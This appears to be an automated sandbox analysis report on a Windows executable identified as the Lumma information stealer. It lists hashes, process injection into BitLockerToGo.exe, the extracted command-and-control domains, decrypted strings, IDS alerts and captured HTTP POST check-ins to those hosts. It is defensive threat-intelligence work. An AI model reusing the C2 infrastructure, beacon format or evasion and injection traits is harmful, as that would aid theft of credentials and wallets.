Edit tour

Windows Analysis Report
l5u4ezxr.u51.exe

Overview

General Information

Sample name:	l5u4ezxr.u51.exe
Analysis ID:	1502257
MD5:	5bd0ec56270d24c40aa16d7fa73f2538
SHA1:	43f9fd5ae32c851b806f501e20e2747b9f831bbe
SHA256:	7dae9ea6af1af34b4f423f1fb3e3004f35cfd00781a05fcad1b2714160eb0ac8
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

l5u4ezxr.u51.exe (PID: 6528 cmdline: "C:\Users\user\Desktop\l5u4ezxr.u51.exe" MD5: 5BD0EC56270D24C40AA16D7FA73F2538)

BitLockerToGo.exe (PID: 6772 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["stamppreewntnq.shop", "stagedchheiqwo.shop", "locatedblsoqp.shop", "tenseddrywsqio.shop", "millyscroqwp.shop", "traineiwnqo.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "evoliutwoqm.shop"], "Build id": "LPnhqo--nlczjrpfwadf"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1761754559.0000000002786000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.1759655913.00000000022B3000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: l5u4ezxr.u51.exe PID: 6528	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.BitLockerToGo.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.BitLockerToGo.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:09.989988+0200
SID:	2055493
Severity:	1
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:10.910343+0200
SID:	2055493
Severity:	1
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:08.990230+0200
SID:	2055489
Severity:	1
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-31T21:10:09.511797+0200
SID:	2055483
Severity:	1
Source Port:	64510
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:10.166995+0200
SID:	2049836
Severity:	1
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:10.166995+0200
SID:	2054653
Severity:	1
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:11.436907+0200
SID:	2049812
Severity:	1
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:11.436907+0200
SID:	2054653
Severity:	1
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:09.506016+0200
SID:	2049836
Severity:	1
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-31T21:10:09.506016+0200
SID:	2054653
Severity:	1
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 104.21.69.149

Timestamp:	2024-08-31T21:10:08.487141+0200
SID:	2049836
Severity:	1
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 104.21.69.149

Timestamp:	2024-08-31T21:10:08.487141+0200
SID:	2054653
Severity:	1
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-31T21:10:08.512604+0200
SID:	2055479
Severity:	1
Source Port:	65410
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: locatedblsoqp.shop	URL Reputation: Label: phishing
Source: locatedblsoqp.shop	URL Reputation: Label: phishing
Source: traineiwnqo.shop	URL Reputation: Label: malware
Source: traineiwnqo.shop	URL Reputation: Label: malware
Source: condedqpwqm.shop	URL Reputation: Label: phishing
Source: caffegclasiqwp.shop	URL Reputation: Label: malware
Source: millyscroqwp.shop	URL Reputation: Label: malware
Source: stagedchheiqwo.shop	URL Reputation: Label: phishing
Source: https://locatedblsoqp.shop/api	URL Reputation: Label: malware
Source: stamppreewntnq.shop	URL Reputation: Label: phishing
Source: https://tenseddrywsqio.shop/api	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/api_	Avira URL Cloud: Label: malware
Source: https://locatedblsoqp.shop/6	Avira URL Cloud: Label: phishing
Source: https://traineiwnqo.shop/api	Avira URL Cloud: Label: malware
Source: https://locatedblsoqp.shop/	Avira URL Cloud: Label: phishing
Source: https://traineiwnqo.shop/apibul	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/fXx	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/apiK	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/.	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop:443/apii	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.2.BitLockerToGo.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["stamppreewntnq.shop", "stagedchheiqwo.shop", "locatedblsoqp.shop", "tenseddrywsqio.shop", "millyscroqwp.shop", "traineiwnqo.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "evoliutwoqm.shop"], "Build id": "LPnhqo--nlczjrpfwadf"}

Multi AV Scanner detection for domain / URL

Source: tenseddrywsqio.shop	Virustotal: Detection: 14%	Perma Link
Source: tenseddrywsqio.shop	Virustotal: Detection: 14%	Perma Link
Source: https://tenseddrywsqio.shop/api	Virustotal: Detection: 16%	Perma Link
Source: https://traineiwnqo.shop/api	Virustotal: Detection: 21%	Perma Link
Source: https://locatedblsoqp.shop/	Virustotal: Detection: 16%	Perma Link
Source: https://traineiwnqo.shop:443/apii	Virustotal: Detection: 11%	Perma Link
Source: https://traineiwnqo.shop/	Virustotal: Detection: 19%	Perma Link
Source: https://traineiwnqo.shop/.	Virustotal: Detection: 19%	Perma Link

Multi AV Scanner detection for submitted file

Source: l5u4ezxr.u51.exe

Virustotal: Detection: 21%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tenseddrywsqio.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tenseddrywsqio.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tenseddrywsqio.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tenseddrywsqio.shop
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LPnhqo--nlczjrpfwadf

Source: l5u4ezxr.u51.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.69.149:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: l5u4ezxr.u51.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.000000000274C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1755794344.00000000027CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.000000000274C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1755794344.00000000027CD000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_004321F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_004323E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00419040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [ecx+esi*2]	1_2_0042D070
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	1_2_00434030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000280h]	1_2_0040D0D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_004208E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], dl	1_2_0040D978
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	1_2_00434110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	1_2_00434110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [edx+eax-01h]	1_2_004089F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	1_2_00420980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, word ptr [ebx]	1_2_00435990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00413A4A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add edi, 02h	1_2_00413A4A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	1_2_0041FACE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0041FACE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	1_2_00435280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_00403290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp]	1_2_004312A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+1Ch]	1_2_0040B310
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], cx	1_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [ecx]	1_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esp+40h]	1_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, 00008000h	1_2_004043C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 84AA3BD1h	1_2_004353C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_0043238A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [ebp-1Ch]	1_2_00433BA8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	1_2_00433C40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	1_2_00434450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_004324BC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00429540
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [ebp-1Ch]	1_2_004335D2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	1_2_00418DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0040FDEB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	1_2_0041EDFE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	1_2_00433D90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+08h], eax	1_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], dl	1_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	1_2_0042F6F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	1_2_00431E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	1_2_00433F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	1_2_00412F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp cl, 0000002Eh	1_2_0041D752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	1_2_00414770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	1_2_00412FA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000B0h]	1_2_0040F7AA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea ebx, dword ptr [esp+08h]	1_2_0041F7B2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	1_2_004197B7

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:65410 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:64510 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.69.149:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.69.149:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: tenseddrywsqio.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tenseddrywsqio.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locatedblsoqp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: traineiwnqo.shop
